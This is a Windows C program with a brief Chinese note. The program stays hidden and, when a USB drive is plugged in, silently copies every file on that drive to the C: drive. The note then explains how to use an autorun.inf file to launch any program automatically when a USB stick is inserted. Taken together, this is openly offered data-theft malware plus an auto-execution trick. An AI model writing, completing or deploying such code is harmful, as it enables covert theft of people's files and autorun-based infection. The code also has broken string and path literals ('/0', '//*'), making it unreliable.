//作者:京东瀚览家居官方旗舰店
#include <windows.h>
#include <dbt.h>
#include <string.h>
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
BOOL copyed=FALSE, EXIT=FALSE;
void CopyFiles(char *);
void proc( WIN32_FIND_DATA ,char *);
char szClassName[ ] = "APP";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd;
MSG messages;
WNDCLASSEX wincl;
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure;
wincl.style = CS_DBLCLKS;
wincl.cbSize = sizeof (WNDCLASSEX);
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
if (!RegisterClassEx (&wincl))
return 0;
hwnd = CreateWindowEx (
0,
szClassName,
"Windows App",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
544,
375,
HWND_DESKTOP,
NULL,
hThisInstance,
NULL
);
while (GetMessage (&messages, NULL, 0, 0) && !EXIT)
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}
}
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if(!copyed)
{
copyed = TRUE;
SendMessage(HWND_BROADCAST, message, wParam, lParam);
Sleep(20000);
CopyFiles("h://*");
EXIT = TRUE;
}
}
return DefWindowProc (hwnd, message, wParam, lParam);
}
void CopyFiles( char *dir )
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = INVALID_HANDLE_VALUE;
hFind = FindFirstFile(dir, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE)
proc(FindFileData, dir);
while (FindNextFile(hFind, &FindFileData) != 0)
proc(FindFileData, dir);
FindClose(hFind);
}
void proc( WIN32_FIND_DATA FindFileData , char *dir)
{
char DirSpec[200], path[200];
DWORD stat;
strcpy(path, dir);
path[strlen(path)-1]='/0';
strcat(path, FindFileData.cFileName);
stat = GetFileAttributes(path);
if( strcmp(FindFileData.cFileName, ".") &&
strcmp(FindFileData.cFileName, "..") )
{
if( (stat&FILE_ATTRIBUTE_DIRECTORY)==FILE_ATTRIBUTE_DIRECTORY )
{
strcpy(DirSpec, dir);
DirSpec[strlen(DirSpec)-1]='/0';
strcat(DirSpec, FindFileData.cFileName);
strcpy(path, DirSpec);
strcat(DirSpec, "//*");
path[0]='c';
CreateDirectory(path, NULL);
CopyFiles(DirSpec);
}
else
{
strcpy(path, dir);
path[strlen(path)-1]='/0';
strcat(path, FindFileData.cFileName);
strcpy(DirSpec, path);
DirSpec[0]='c';
CopyFile(path, DirSpec, FALSE);
}
}
}
以下为插入U盘后 自动执行程序
在U盘根目录下田加一个名为“autorun.inf”的文件,其内容如下:
[AUTORUN]
OPEN="你想运行的程序" /AUTORUN